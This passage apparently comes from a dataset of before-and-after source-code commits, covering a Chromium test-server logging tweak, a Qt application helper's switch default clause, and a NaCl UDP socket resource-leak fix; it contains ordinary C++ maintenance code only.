poll_fds[0].revents = 0;\n\n int rv = HANDLE_EINTR(poll(poll_fds, 1,\n remaining_time->InMilliseconds()));\n if (rv != 1) {\n LOG(ERROR) << \"Failed to poll for the child file descriptor.\";\n return false;\n }\n\n base::Time current_time = base::Time::Now();\n base::TimeDelta elapsed_time_cycle = current_time - previous_time;\n DCHECK(elapsed_time_cycle.InMilliseconds() >= 0);\n *remaining_time -= elapsed_time_cycle;\n previous_time = current_time;\n\n ssize_t num_bytes = HANDLE_EINTR(read(fd, buffer + bytes_read,\n bytes_max - bytes_read));\n if (num_bytes <= 0)\n return false;\n bytes_read += num_bytes;\n }\n return true;\n}\n\n} \/\/ namespace\n\nnamespace net {\n\nbool TestServer::LaunchPython(const FilePath& testserver_path) {\n CommandLine python_command(FilePath(FILE_PATH_LITERAL(\"python\")));\n python_command.AppendArgPath(testserver_path);\n if (!AddCommandLineArguments(&python_command))\n return false;\n\n int pipefd[2];\n if (pipe(pipefd) != 0) {\n PLOG(ERROR) << \"Could not create pipe.\";\n return false;\n }\n\n \/\/ Save the read half. The write half is sent to the child.\n child_fd_ = pipefd[0];\n child_fd_closer_.reset(&child_fd_);\n file_util::ScopedFD write_closer(&pipefd[1]);\n base::file_handle_mapping_vector map_write_fd;\n map_write_fd.push_back(std::make_pair(pipefd[1], pipefd[1]));\n\n python_command.AppendArg(\"--startup-pipe=\" + base::IntToString(pipefd[1]));\n\n \/\/ Try to kill any orphaned testserver processes that may be running.\n OrphanedTestServerFilter filter(testserver_path.value(),\n base::IntToString(host_port_pair_.port()));\n if (!base::KillProcesses(\"python\", -1, &filter)) {\n LOG(WARNING) << \"Failed to clean up older orphaned testserver instances.\";\n }\n\n \/\/ Launch a new testserver process.\n base::LaunchOptions options;\n options.fds_to_remap = &map_write_fd;\n if (!base::LaunchProcess(python_command, options, &process_handle_)) {\n LOG(ERROR) << \"Failed to launch \" << python_command.GetCommandLineString();\n return false;\n }\n\n return true;\n}\n\nbool TestServer::WaitToStart() {\n file_util::ScopedFD child_fd_closer(child_fd_closer_.release());\n\n base::TimeDelta remaining_time = base::TimeDelta::FromMilliseconds(\n TestTimeouts::action_timeout_ms());\n\n uint32 server_data_len = 0;\n if (!ReadData(child_fd_, sizeof(server_data_len),\n reinterpret_cast(&server_data_len),\n &remaining_time)) {\n LOG(ERROR) << \"Could not read server_data_len\";\n return false;\n }\n std::string server_data(server_data_len, '\\0');\n if (!ReadData(child_fd_, server_data_len,\n reinterpret_cast(&server_data[0]),\n &remaining_time)) {\n LOG(ERROR) << \"Could not read server_data (\" << server_data_len\n << \" bytes)\";\n return false;\n }\n\n if (!ParseServerData(server_data)) {\n LOG(ERROR) << \"Could not parse server_data: \" << server_data;\n return false;\n }\n\n return true;\n}\n\n} \/\/ namespace net\ntest_server: include errno in failed poll()\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"net\/test\/test_server.h\"\n\n#include \n\n#include \n\n#include \"base\/command_line.h\"\n#include \"base\/file_util.h\"\n#include \"base\/logging.h\"\n#include \"base\/process_util.h\"\n#include \"base\/string_number_conversions.h\"\n#include \"base\/string_util.h\"\n#include \"base\/test\/test_timeouts.h\"\n\nnamespace {\n\n\/\/ Helper class used to detect and kill orphaned python test server processes.\n\/\/ Checks if the command line of a process contains |path_string| (the path\n\/\/ from which the test server was launched) and |port_string| (the port used by\n\/\/ the test server), and if the parent pid of the process is 1 (indicating that\n\/\/ it is an orphaned process).\nclass OrphanedTestServerFilter : public base::ProcessFilter {\n public:\n OrphanedTestServerFilter(\n const std::string& path_string, const std::string& port_string)\n : path_string_(path_string),\n port_string_(port_string) {}\n\n virtual bool Includes(const base::ProcessEntry& entry) const {\n if (entry.parent_pid() != 1)\n return false;\n bool found_path_string = false;\n bool found_port_string = false;\n for (std::vector::const_iterator it =\n entry.cmd_line_args().begin();\n it != entry.cmd_line_args().end();\n ++it) {\n if (it->find(path_string_) != std::string::npos)\n found_path_string = true;\n if (it->find(port_string_) != std::string::npos)\n found_port_string = true;\n }\n return found_path_string && found_port_string;\n }\n\n private:\n std::string path_string_;\n std::string port_string_;\n DISALLOW_COPY_AND_ASSIGN(OrphanedTestServerFilter);\n};\n\n\/\/ Given a file descriptor, reads into |buffer| until |bytes_max|\n\/\/ bytes has been read or an error has been encountered. Returns true\n\/\/ if the read was successful. |remaining_time| is used as a timeout.\nbool ReadData(int fd, ssize_t bytes_max, uint8* buffer,\n base::TimeDelta* remaining_time) {\n ssize_t bytes_read = 0;\n base::Time previous_time = base::Time::Now();\n while (bytes_read < bytes_max) {\n struct pollfd poll_fds[1];\n\n poll_fds[0].fd = fd;\n poll_fds[0].events = POLLIN | POLLPRI;\n poll_fds[0].revents = 0;\n\n int rv = HANDLE_EINTR(poll(poll_fds, 1,\n remaining_time->InMilliseconds()));\n if (rv != 1) {\n PLOG(ERROR) << \"poll() failed for child file descriptor\";\n return false;\n }\n\n base::Time current_time = base::Time::Now();\n base::TimeDelta elapsed_time_cycle = current_time - previous_time;\n DCHECK(elapsed_time_cycle.InMilliseconds() >= 0);\n *remaining_time -= elapsed_time_cycle;\n previous_time = current_time;\n\n ssize_t num_bytes = HANDLE_EINTR(read(fd, buffer + bytes_read,\n bytes_max - bytes_read));\n if (num_bytes <= 0)\n return false;\n bytes_read += num_bytes;\n }\n return true;\n}\n\n} \/\/ namespace\n\nnamespace net {\n\nbool TestServer::LaunchPython(const FilePath& testserver_path) {\n CommandLine python_command(FilePath(FILE_PATH_LITERAL(\"python\")));\n python_command.AppendArgPath(testserver_path);\n if (!AddCommandLineArguments(&python_command))\n return false;\n\n int pipefd[2];\n if (pipe(pipefd) != 0) {\n PLOG(ERROR) << \"Could not create pipe.\";\n return false;\n }\n\n \/\/ Save the read half. The write half is sent to the child.\n child_fd_ = pipefd[0];\n child_fd_closer_.reset(&child_fd_);\n file_util::ScopedFD write_closer(&pipefd[1]);\n base::file_handle_mapping_vector map_write_fd;\n map_write_fd.push_back(std::make_pair(pipefd[1], pipefd[1]));\n\n python_command.AppendArg(\"--startup-pipe=\" + base::IntToString(pipefd[1]));\n\n \/\/ Try to kill any orphaned testserver processes that may be running.\n OrphanedTestServerFilter filter(testserver_path.value(),\n base::IntToString(host_port_pair_.port()));\n if (!base::KillProcesses(\"python\", -1, &filter)) {\n LOG(WARNING) << \"Failed to clean up older orphaned testserver instances.\";\n }\n\n \/\/ Launch a new testserver process.\n base::LaunchOptions options;\n options.fds_to_remap = &map_write_fd;\n if (!base::LaunchProcess(python_command, options, &process_handle_)) {\n LOG(ERROR) << \"Failed to launch \" << python_command.GetCommandLineString();\n return false;\n }\n\n return true;\n}\n\nbool TestServer::WaitToStart() {\n file_util::ScopedFD child_fd_closer(child_fd_closer_.release());\n\n base::TimeDelta remaining_time = base::TimeDelta::FromMilliseconds(\n TestTimeouts::action_timeout_ms());\n\n uint32 server_data_len = 0;\n if (!ReadData(child_fd_, sizeof(server_data_len),\n reinterpret_cast(&server_data_len),\n &remaining_time)) {\n LOG(ERROR) << \"Could not read server_data_len\";\n return false;\n }\n std::string server_data(server_data_len, '\\0');\n if (!ReadData(child_fd_, server_data_len,\n reinterpret_cast(&server_data[0]),\n &remaining_time)) {\n LOG(ERROR) << \"Could not read server_data (\" << server_data_len\n << \" bytes)\";\n return false;\n }\n\n if (!ParseServerData(server_data)) {\n LOG(ERROR) << \"Could not parse server_data: \" << server_data;\n return false;\n }\n\n return true;\n}\n\n} \/\/ namespace net\n<|endoftext|>"} {"text":"#include \"VSLapp.h\"\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#ifdef __unix\n#include \n#include \n#endif\n\nvoid VSLapp::applicationSetup(const char *organizationName)\n{\n \/\/ set up application name\n QFileInfo applicationFile(QApplication::applicationFilePath());\n\n \/\/ These allow us to simply construct a \"QSettings\" object without arguments\n qApp->setOrganizationDomain(\"mil.army.arl\");\n qApp->setApplicationName(applicationFile.baseName());\n qApp->setOrganizationName(organizationName);\n qApp->setApplicationVersion(__DATE__ __TIME__);\n\n \/\/ Look up the last directory where the user opened files.\n \/\/ set it if it hasn't been set.\n QSettings settings;\n if (!settings.allKeys().contains(\"app\/currentDirectory\"))\n settings.setValue(\"app\/currentDirectory\", applicationFile.absoluteDir().absolutePath());\n\n \/\/ log this launch of the program to track usage.\n logApplicationLaunch(applicationFile); \/\/ comes after settingsRead so we can set a preference\n}\n\nvoid VSLapp::logApplicationLaunch(QFileInfo appFile)\n{\n QSettings settings;\n\n settings.value(\"logUsage\", QVariant(true));\n\n qApp->applicationDirPath();\n\n \/\/ obtain the string we will log to the file\n QString message =\n\tQDateTime::currentDateTime().toString(\"yyyyMMddhhmmss\");\n#ifdef __unix\n message.append(getuid());\n#endif\n message.append(\"\\\\n\");\n\n QString nameOfLogFile = QString(\"%1%2\").arg(appFile.absoluteFilePath()).arg(\".log\");\n\n QString nameOfLockFile = QString(\"%1%2\").arg(nameOfLogFile).arg(\".lck\");\n QLockFile lockFile(nameOfLockFile);\n\n if (lockFile.tryLock(1000)) {\n \/\/ got the lock write the data\n QFile usageLogFile(nameOfLogFile);\n if (usageLogFile.open(QIODevice::Append)) {\n usageLogFile.write(message.toStdString().c_str());\n usageLogFile.close();\n }\n lockFile.unlock();\n }\n}\n\nQString VSLapp::getApplicationDir()\n{\n QDir applicationDir(qApp->applicationDirPath());\n\n#if defined(Q_OS_WIN)\n if (applicationDir.dirName().toLower() == \"debug\" ||\n applicationDir.dirName().toLower() == \"release\"\n # ifdef CMAKE_INTDIR\n || applicationDir.dirName() == CMAKE_INTDIR\n # endif\n )\n applicationDir.cdUp();\n#elif defined(Q_OS_MAC)\n if (applicationDir.dirName() == \"MacOS\") {\n applicationDir.cdUp();\n applicationDir.cdUp();\n applicationDir.cdUp();\n }\n#endif\n\n return applicationDir.absolutePath();\n}\n\n#include \nclass QMessageBoxResize: public QMessageBox\n {\n public:\n QMessageBoxResize(QWidget *parent = 0) : QMessageBox(parent) {\n setMouseTracking(true);\n setSizeGripEnabled(true);\n }\n private:\n virtual bool event(QEvent *e) {\n bool res = QMessageBox::event(e);\n switch (e->type()) {\n case QEvent::MouseMove:\n case QEvent::MouseButtonPress:\n setSizeGripEnabled(true);\n setMaximumSize(QWIDGETSIZE_MAX, QWIDGETSIZE_MAX);\n if (QWidget *textEdit = findChild()) {\n textEdit->setMaximumHeight(QWIDGETSIZE_MAX);\n }\n }\n return res;\n }\n };\nvoid VSLapp::showAboutDialog(QWidget *parent)\n{\n\n QMessageBoxResize msgBox(parent);\n QString message;\n QTextStream stream(&message);\n stream << \"Built \" __DATE__ \" \" __TIME__ << endl\n << \"By \" BUILT_BY_USER \" on \" BUILT_ON_MACHINE << endl;\n\n msgBox.setInformativeText(message); msgBox.setDetailedText(QString(\"Binary:%1\").arg(VSLapp::getApplicationDir()));\n msgBox.setWindowTitle(QString(\"About %1\").arg(qApp->applicationName()));\n msgBox.setText(QString(\"This is %1<\/b> from
%2<\/b>\")\n .arg(qApp->applicationName())\n .arg(qApp->organizationName()));\n msgBox.setDefaultButton(QMessageBox::Ok);\n msgBox.exec();\n\n}\n\n#define MainWindowGeometry \"MainWindow\/geometry\"\n#define MainWindowDoRestore \"MainWindow\/restore\"\n#define UI_VERSION 1\nvoid VSLapp::mainWindowSetup(QMainWindow *mw)\n{\n mw->setWindowTitle(qApp->applicationName());\n\n \/\/ set the geometry\n QSettings settings;\n if (settings.allKeys().contains(MainWindowGeometry)) {\n mw->setGeometry(settings.value(MainWindowGeometry).toRect());\n }\n}\n\nvoid VSLapp::mainWindowSave(QMainWindow *mw)\n{\n \/\/ stash things that we will want on startup.\n QSettings settings;\n settings.setValue(MainWindowGeometry, mw->geometry());\n}\n\n\n\nadd default clause to event handler switch#include \"VSLapp.h\"\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#ifdef __unix\n#include \n#include \n#endif\n\nvoid VSLapp::applicationSetup(const char *organizationName)\n{\n \/\/ set up application name\n QFileInfo applicationFile(QApplication::applicationFilePath());\n\n \/\/ These allow us to simply construct a \"QSettings\" object without arguments\n qApp->setOrganizationDomain(\"mil.army.arl\");\n qApp->setApplicationName(applicationFile.baseName());\n qApp->setOrganizationName(organizationName);\n qApp->setApplicationVersion(__DATE__ __TIME__);\n\n \/\/ Look up the last directory where the user opened files.\n \/\/ set it if it hasn't been set.\n QSettings settings;\n if (!settings.allKeys().contains(\"app\/currentDirectory\"))\n settings.setValue(\"app\/currentDirectory\", applicationFile.absoluteDir().absolutePath());\n\n \/\/ log this launch of the program to track usage.\n logApplicationLaunch(applicationFile); \/\/ comes after settingsRead so we can set a preference\n}\n\nvoid VSLapp::logApplicationLaunch(QFileInfo appFile)\n{\n QSettings settings;\n\n settings.value(\"logUsage\", QVariant(true));\n\n qApp->applicationDirPath();\n\n \/\/ obtain the string we will log to the file\n QString message =\n\tQDateTime::currentDateTime().toString(\"yyyyMMddhhmmss\");\n#ifdef __unix\n message.append(getuid());\n#endif\n message.append(\"\\\\n\");\n\n QString nameOfLogFile = QString(\"%1%2\").arg(appFile.absoluteFilePath()).arg(\".log\");\n\n QString nameOfLockFile = QString(\"%1%2\").arg(nameOfLogFile).arg(\".lck\");\n QLockFile lockFile(nameOfLockFile);\n\n if (lockFile.tryLock(1000)) {\n \/\/ got the lock write the data\n QFile usageLogFile(nameOfLogFile);\n if (usageLogFile.open(QIODevice::Append)) {\n usageLogFile.write(message.toStdString().c_str());\n usageLogFile.close();\n }\n lockFile.unlock();\n }\n}\n\nQString VSLapp::getApplicationDir()\n{\n QDir applicationDir(qApp->applicationDirPath());\n\n#if defined(Q_OS_WIN)\n if (applicationDir.dirName().toLower() == \"debug\" ||\n applicationDir.dirName().toLower() == \"release\"\n # ifdef CMAKE_INTDIR\n || applicationDir.dirName() == CMAKE_INTDIR\n # endif\n )\n applicationDir.cdUp();\n#elif defined(Q_OS_MAC)\n if (applicationDir.dirName() == \"MacOS\") {\n applicationDir.cdUp();\n applicationDir.cdUp();\n applicationDir.cdUp();\n }\n#endif\n\n return applicationDir.absolutePath();\n}\n\n#include \nclass QMessageBoxResize: public QMessageBox\n {\n public:\n QMessageBoxResize(QWidget *parent = 0) : QMessageBox(parent) {\n setMouseTracking(true);\n setSizeGripEnabled(true);\n }\n private:\n virtual bool event(QEvent *e) {\n bool res = QMessageBox::event(e);\n switch (e->type()) {\n case QEvent::MouseMove:\n case QEvent::MouseButtonPress:\n setSizeGripEnabled(true);\n setMaximumSize(QWIDGETSIZE_MAX, QWIDGETSIZE_MAX);\n if (QWidget *textEdit = findChild()) {\n textEdit->setMaximumHeight(QWIDGETSIZE_MAX);\n }\n default:\n\tbreak;\n }\n return res;\n }\n };\nvoid VSLapp::showAboutDialog(QWidget *parent)\n{\n\n QMessageBoxResize msgBox(parent);\n QString message;\n QTextStream stream(&message);\n stream << \"Built \" __DATE__ \" \" __TIME__ << endl\n << \"By \" BUILT_BY_USER \" on \" BUILT_ON_MACHINE << endl;\n\n msgBox.setInformativeText(message); msgBox.setDetailedText(QString(\"Binary:%1\").arg(VSLapp::getApplicationDir()));\n msgBox.setWindowTitle(QString(\"About %1\").arg(qApp->applicationName()));\n msgBox.setText(QString(\"This is %1<\/b> from
%2<\/b>\")\n .arg(qApp->applicationName())\n .arg(qApp->organizationName()));\n msgBox.setDefaultButton(QMessageBox::Ok);\n msgBox.exec();\n\n}\n\n#define MainWindowGeometry \"MainWindow\/geometry\"\n#define MainWindowDoRestore \"MainWindow\/restore\"\n#define UI_VERSION 1\nvoid VSLapp::mainWindowSetup(QMainWindow *mw)\n{\n mw->setWindowTitle(qApp->applicationName());\n\n \/\/ set the geometry\n QSettings settings;\n if (settings.allKeys().contains(MainWindowGeometry)) {\n mw->setGeometry(settings.value(MainWindowGeometry).toRect());\n }\n}\n\nvoid VSLapp::mainWindowSave(QMainWindow *mw)\n{\n \/\/ stash things that we will want on startup.\n QSettings settings;\n settings.setValue(MainWindowGeometry, mw->geometry());\n}\n\n\n\n<|endoftext|>"} {"text":"\/\/ Copyright 2013 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"nacl_io\/socket\/udp_node.h\"\n\n#include \n#include \n\n#include \n\n#include \"nacl_io\/log.h\"\n#include \"nacl_io\/pepper_interface.h\"\n#include \"nacl_io\/socket\/packet.h\"\n#include \"nacl_io\/socket\/udp_event_emitter.h\"\n#include \"nacl_io\/stream\/stream_fs.h\"\n\nnamespace {\nconst size_t kMaxPacketSize = 65536;\nconst size_t kDefaultFifoSize = kMaxPacketSize * 8;\n}\n\nnamespace nacl_io {\n\nclass UdpWork : public StreamFs::Work {\n public:\n explicit UdpWork(const ScopedUdpEventEmitter& emitter)\n : StreamFs::Work(emitter->stream()->stream()),\n emitter_(emitter),\n packet_(NULL) {}\n\n ~UdpWork() { delete packet_; }\n\n UDPSocketInterface* UDPInterface() {\n return filesystem()->ppapi()->GetUDPSocketInterface();\n }\n\n protected:\n ScopedUdpEventEmitter emitter_;\n Packet* packet_;\n};\n\nclass UdpSendWork : public UdpWork {\n public:\n explicit UdpSendWork(const ScopedUdpEventEmitter& emitter,\n const ScopedSocketNode& node)\n : UdpWork(emitter), node_(node) {}\n\n virtual bool Start(int32_t val) {\n AUTO_LOCK(emitter_->GetLock());\n\n \/\/ Does the stream exist, and can it send?\n if (!node_->TestStreamFlags(SSF_CAN_SEND))\n return false;\n\n packet_ = emitter_->ReadTXPacket_Locked();\n if (NULL == packet_)\n return false;\n\n int err = UDPInterface()->SendTo(node_->socket_resource(),\n packet_->buffer(),\n packet_->len(),\n packet_->addr(),\n filesystem()->GetRunCompletion(this));\n if (err != PP_OK_COMPLETIONPENDING) {\n \/\/ Anything else, we should assume the socket has gone bad.\n node_->SetError_Locked(err);\n return false;\n }\n\n node_->SetStreamFlags(SSF_SENDING);\n return true;\n }\n\n virtual void Run(int32_t length_error) {\n AUTO_LOCK(emitter_->GetLock());\n\n if (length_error < 0) {\n node_->SetError_Locked(length_error);\n return;\n }\n\n \/\/ If we did send, then Q more work.\n node_->ClearStreamFlags(SSF_SENDING);\n node_->QueueOutput();\n }\n\n private:\n \/\/ We assume that transmits will always complete. If the upstream\n \/\/ actually back pressures, enough to prevent the Send callback\n \/\/ from triggering, this resource may never go away.\n ScopedSocketNode node_;\n};\n\nclass UdpRecvWork : public UdpWork {\n public:\n explicit UdpRecvWork(const ScopedUdpEventEmitter& emitter)\n : UdpWork(emitter) {\n }\n\n virtual bool Start(int32_t val) {\n AUTO_LOCK(emitter_->GetLock());\n UdpNode* stream = static_cast(emitter_->stream());\n\n \/\/ Does the stream exist, and can it recv?\n if (NULL == stream || !stream->TestStreamFlags(SSF_CAN_RECV))\n return false;\n\n \/\/ Check if we are already receiving.\n if (stream->TestStreamFlags(SSF_RECVING))\n return false;\n\n stream->SetStreamFlags(SSF_RECVING);\n int err = UDPInterface()->RecvFrom(stream->socket_resource(),\n data_,\n kMaxPacketSize,\n &addr_,\n filesystem()->GetRunCompletion(this));\n if (err != PP_OK_COMPLETIONPENDING) {\n stream->SetError_Locked(err);\n return false;\n }\n\n return true;\n }\n\n virtual void Run(int32_t length_error) {\n AUTO_LOCK(emitter_->GetLock());\n UdpNode* stream = static_cast(emitter_->stream());\n if (NULL == stream)\n return;\n\n \/\/ On successful receive we queue more input\n if (length_error > 0) {\n Packet* packet = new Packet(filesystem()->ppapi());\n packet->Copy(data_, length_error, addr_);\n emitter_->WriteRXPacket_Locked(packet);\n stream->ClearStreamFlags(SSF_RECVING);\n stream->QueueInput();\n } else {\n stream->SetError_Locked(length_error);\n }\n }\n\n private:\n char data_[kMaxPacketSize];\n PP_Resource addr_;\n};\n\nUdpNode::UdpNode(Filesystem* filesystem)\n : SocketNode(filesystem),\n emitter_(new UdpEventEmitter(kDefaultFifoSize, kDefaultFifoSize)) {\n emitter_->AttachStream(this);\n}\n\nvoid UdpNode::Destroy() {\n emitter_->DetachStream();\n SocketNode::Destroy();\n}\n\nUdpEventEmitter* UdpNode::GetEventEmitter() {\n return emitter_.get();\n}\n\nError UdpNode::Init(int open_flags) {\n Error err = SocketNode::Init(open_flags);\n if (err != 0)\n return err;\n\n if (UDPInterface() == NULL) {\n LOG_ERROR(\"Got NULL interface: UDP\");\n return EACCES;\n }\n\n socket_resource_ =\n UDPInterface()->Create(filesystem_->ppapi()->GetInstance());\n if (0 == socket_resource_) {\n LOG_ERROR(\"Unable to create UDP resource.\");\n return EACCES;\n }\n\n return 0;\n}\n\nvoid UdpNode::QueueInput() {\n UdpRecvWork* work = new UdpRecvWork(emitter_);\n stream()->EnqueueWork(work);\n}\n\nvoid UdpNode::QueueOutput() {\n if (!TestStreamFlags(SSF_CAN_SEND))\n return;\n\n if (TestStreamFlags(SSF_SENDING))\n return;\n\n UdpSendWork* work = new UdpSendWork(emitter_, ScopedSocketNode(this));\n stream()->EnqueueWork(work);\n}\n\nError UdpNode::Bind(const struct sockaddr* addr, socklen_t len) {\n if (0 == socket_resource_)\n return EBADF;\n\n \/* Only bind once. *\/\n if (IsBound())\n return EINVAL;\n\n PP_Resource out_addr = SockAddrToResource(addr, len);\n if (0 == out_addr)\n return EINVAL;\n\n int err =\n UDPInterface()->Bind(socket_resource_, out_addr, PP_BlockUntilComplete());\n filesystem_->ppapi()->ReleaseResource(out_addr);\n if (err != 0)\n return PPErrorToErrno(err);\n\n \/\/ Get the address that was actually bound (in case addr was 0.0.0.0:0).\n out_addr = UDPInterface()->GetBoundAddress(socket_resource_);\n if (out_addr == 0)\n return EINVAL;\n\n \/\/ Now that we are bound, we can start sending and receiving.\n SetStreamFlags(SSF_CAN_SEND | SSF_CAN_RECV);\n QueueInput();\n\n local_addr_ = out_addr;\n return 0;\n}\n\nError UdpNode::Connect(const HandleAttr& attr,\n const struct sockaddr* addr,\n socklen_t len) {\n if (0 == socket_resource_)\n return EBADF;\n\n \/* Connect for UDP is the default dest, it's legal to change it. *\/\n if (remote_addr_ != 0) {\n filesystem_->ppapi()->ReleaseResource(remote_addr_);\n remote_addr_ = 0;\n }\n\n remote_addr_ = SockAddrToResource(addr, len);\n if (0 == remote_addr_)\n return EINVAL;\n\n return 0;\n}\n\nError UdpNode::Recv_Locked(void* buf,\n size_t len,\n PP_Resource* out_addr,\n int* out_len) {\n Packet* packet = emitter_->ReadRXPacket_Locked();\n *out_len = 0;\n *out_addr = 0;\n\n if (packet) {\n int capped_len = static_cast(std::min(len, packet->len()));\n memcpy(buf, packet->buffer(), capped_len);\n\n if (packet->addr() != 0) {\n filesystem_->ppapi()->AddRefResource(packet->addr());\n *out_addr = packet->addr();\n }\n\n *out_len = capped_len;\n delete packet;\n return 0;\n }\n\n \/\/ Should never happen, Recv_Locked should not be called\n \/\/ unless already in a POLLIN state.\n return EBADF;\n}\n\nError UdpNode::Send_Locked(const void* buf,\n size_t len,\n PP_Resource addr,\n int* out_len) {\n if (!IsBound()) {\n \/\/ Pepper requires a socket to be bound before it can send.\n sockaddr_in addr;\n addr.sin_family = AF_INET;\n addr.sin_port = 0;\n memset(&addr.sin_addr, 0, sizeof(addr.sin_addr));\n Error err =\n Bind(reinterpret_cast(&addr), sizeof(addr));\n if (err != 0)\n return err;\n }\n\n *out_len = 0;\n int capped_len = static_cast(std::min(len, kMaxPacketSize));\n Packet* packet = new Packet(filesystem_->ppapi());\n packet->Copy(buf, capped_len, addr);\n\n emitter_->WriteTXPacket_Locked(packet);\n *out_len = capped_len;\n return 0;\n}\n\n} \/\/ namespace nacl_io\n[NaCl SDK] nacl_io: Fix leak when recv'ing from udp socket.\/\/ Copyright 2013 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"nacl_io\/socket\/udp_node.h\"\n\n#include \n#include \n\n#include \n\n#include \"nacl_io\/log.h\"\n#include \"nacl_io\/pepper_interface.h\"\n#include \"nacl_io\/socket\/packet.h\"\n#include \"nacl_io\/socket\/udp_event_emitter.h\"\n#include \"nacl_io\/stream\/stream_fs.h\"\n\nnamespace {\nconst size_t kMaxPacketSize = 65536;\nconst size_t kDefaultFifoSize = kMaxPacketSize * 8;\n}\n\nnamespace nacl_io {\n\nclass UdpWork : public StreamFs::Work {\n public:\n explicit UdpWork(const ScopedUdpEventEmitter& emitter)\n : StreamFs::Work(emitter->stream()->stream()),\n emitter_(emitter),\n packet_(NULL) {}\n\n ~UdpWork() { delete packet_; }\n\n UDPSocketInterface* UDPInterface() {\n return filesystem()->ppapi()->GetUDPSocketInterface();\n }\n\n protected:\n ScopedUdpEventEmitter emitter_;\n Packet* packet_;\n};\n\nclass UdpSendWork : public UdpWork {\n public:\n explicit UdpSendWork(const ScopedUdpEventEmitter& emitter,\n const ScopedSocketNode& node)\n : UdpWork(emitter), node_(node) {}\n\n virtual bool Start(int32_t val) {\n AUTO_LOCK(emitter_->GetLock());\n\n \/\/ Does the stream exist, and can it send?\n if (!node_->TestStreamFlags(SSF_CAN_SEND))\n return false;\n\n packet_ = emitter_->ReadTXPacket_Locked();\n if (NULL == packet_)\n return false;\n\n int err = UDPInterface()->SendTo(node_->socket_resource(),\n packet_->buffer(),\n packet_->len(),\n packet_->addr(),\n filesystem()->GetRunCompletion(this));\n if (err != PP_OK_COMPLETIONPENDING) {\n \/\/ Anything else, we should assume the socket has gone bad.\n node_->SetError_Locked(err);\n return false;\n }\n\n node_->SetStreamFlags(SSF_SENDING);\n return true;\n }\n\n virtual void Run(int32_t length_error) {\n AUTO_LOCK(emitter_->GetLock());\n\n if (length_error < 0) {\n node_->SetError_Locked(length_error);\n return;\n }\n\n \/\/ If we did send, then Q more work.\n node_->ClearStreamFlags(SSF_SENDING);\n node_->QueueOutput();\n }\n\n private:\n \/\/ We assume that transmits will always complete. If the upstream\n \/\/ actually back pressures, enough to prevent the Send callback\n \/\/ from triggering, this resource may never go away.\n ScopedSocketNode node_;\n};\n\nclass UdpRecvWork : public UdpWork {\n public:\n explicit UdpRecvWork(const ScopedUdpEventEmitter& emitter)\n : UdpWork(emitter) {\n }\n\n virtual bool Start(int32_t val) {\n AUTO_LOCK(emitter_->GetLock());\n UdpNode* stream = static_cast(emitter_->stream());\n\n \/\/ Does the stream exist, and can it recv?\n if (NULL == stream || !stream->TestStreamFlags(SSF_CAN_RECV))\n return false;\n\n \/\/ Check if we are already receiving.\n if (stream->TestStreamFlags(SSF_RECVING))\n return false;\n\n stream->SetStreamFlags(SSF_RECVING);\n int err = UDPInterface()->RecvFrom(stream->socket_resource(),\n data_,\n kMaxPacketSize,\n &addr_,\n filesystem()->GetRunCompletion(this));\n if (err != PP_OK_COMPLETIONPENDING) {\n stream->SetError_Locked(err);\n return false;\n }\n\n return true;\n }\n\n virtual void Run(int32_t length_error) {\n AUTO_LOCK(emitter_->GetLock());\n UdpNode* stream = static_cast(emitter_->stream());\n if (NULL == stream)\n return;\n\n \/\/ On successful receive we queue more input\n if (length_error > 0) {\n Packet* packet = new Packet(filesystem()->ppapi());\n packet->Copy(data_, length_error, addr_);\n filesystem()->ppapi()->ReleaseResource(addr_);\n emitter_->WriteRXPacket_Locked(packet);\n stream->ClearStreamFlags(SSF_RECVING);\n stream->QueueInput();\n } else {\n stream->SetError_Locked(length_error);\n }\n }\n\n private:\n char data_[kMaxPacketSize];\n PP_Resource addr_;\n};\n\nUdpNode::UdpNode(Filesystem* filesystem)\n : SocketNode(filesystem),\n emitter_(new UdpEventEmitter(kDefaultFifoSize, kDefaultFifoSize)) {\n emitter_->AttachStream(this);\n}\n\nvoid UdpNode::Destroy() {\n emitter_->DetachStream();\n SocketNode::Destroy();\n}\n\nUdpEventEmitter* UdpNode::GetEventEmitter() {\n return emitter_.get();\n}\n\nError UdpNode::Init(int open_flags) {\n Error err = SocketNode::Init(open_flags);\n if (err != 0)\n return err;\n\n if (UDPInterface() == NULL) {\n LOG_ERROR(\"Got NULL interface: UDP\");\n return EACCES;\n }\n\n socket_resource_ =\n UDPInterface()->Create(filesystem_->ppapi()->GetInstance());\n if (0 == socket_resource_) {\n LOG_ERROR(\"Unable to create UDP resource.\");\n return EACCES;\n }\n\n return 0;\n}\n\nvoid UdpNode::QueueInput() {\n UdpRecvWork* work = new UdpRecvWork(emitter_);\n stream()->EnqueueWork(work);\n}\n\nvoid UdpNode::QueueOutput() {\n if (!TestStreamFlags(SSF_CAN_SEND))\n return;\n\n if (TestStreamFlags(SSF_SENDING))\n return;\n\n UdpSendWork* work = new UdpSendWork(emitter_, ScopedSocketNode(this));\n stream()->EnqueueWork(work);\n}\n\nError UdpNode::Bind(const struct sockaddr* addr, socklen_t len) {\n if (0 == socket_resource_)\n return EBADF;\n\n \/* Only bind once. *\/\n if (IsBound())\n return EINVAL;\n\n PP_Resource out_addr = SockAddrToResource(addr, len);\n if (0 == out_addr)\n return EINVAL;\n\n int err =\n UDPInterface()->Bind(socket_resource_, out_addr, PP_BlockUntilComplete());\n filesystem_->ppapi()->ReleaseResource(out_addr);\n if (err != 0)\n return PPErrorToErrno(err);\n\n \/\/ Get the address that was actually bound (in case addr was 0.0.0.0:0).\n out_addr = UDPInterface()->GetBoundAddress(socket_resource_);\n if (out_addr == 0)\n return EINVAL;\n\n \/\/ Now that we are bound, we can start sending and receiving.\n SetStreamFlags(SSF_CAN_SEND | SSF_CAN_RECV);\n QueueInput();\n\n local_addr_ = out_addr;\n return 0;\n}\n\nError UdpNode::Connect(const HandleAttr& attr,\n const struct sockaddr* addr,\n socklen_t len) {\n if (0 == socket_resource_)\n return EBADF;\n\n \/* Connect for UDP is the default dest, it's legal to change it. *\/\n if (remote_addr_ 